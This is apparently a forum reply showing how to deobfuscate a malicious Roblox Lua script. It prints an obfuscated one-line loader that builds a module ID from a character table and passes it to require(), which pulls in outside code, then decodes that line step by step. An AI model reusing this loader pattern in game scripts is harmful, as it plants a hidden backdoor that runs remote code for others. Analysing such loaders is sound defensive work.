How do I dissect obfuscated scripts?

Taking the script you provided;

getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49})))

All you have to do to deobfuscate is to add a print() statement, here is what we get;

print("\101\114\105\117\113\101\114\116\111\110\117\109\98\101\114\99\104\97\114\117\110\112\97\99\107")
eriuqer --The reason why they have string.reverse() is because if you print this area with string.reverse() it reverses the string, pretty sure you already knew this. 
require --this is what it is when reversed
tonumber --A to number statement
char --Character?
unpack --Unpack argument

Now we are left with this which is a table.

{48,88,67,67,52,48,67,69,65,49}

Now lets move on to the module, this is super difficult, as railworks mentioned.

I was able to decode this module, but it took me around 20 minutes. My only issue is, this has a ton of profanity in it, so I will not be posting this.
(Once I remove all profanity however I will post the module. Using Hex you can decode most of this, then the rest is manual.)

I’ve gotten rid of all the profanity, here is a download to the module.
DoNotRunThisModuleItisAVirusDecoded.lua (78.7 KB)

I am unsure if this uses Synapse Xen, or Luraph. It mentions buying Luraph instead of Synapse several times, so I am guessing this is Luraph encoded. From what I’ve heard, Luraph is much easier to decode than Synapse Xen. I used a HexDecoder, and then the rest I decoded on my own. This took approximately 20 minutes.

7 Likes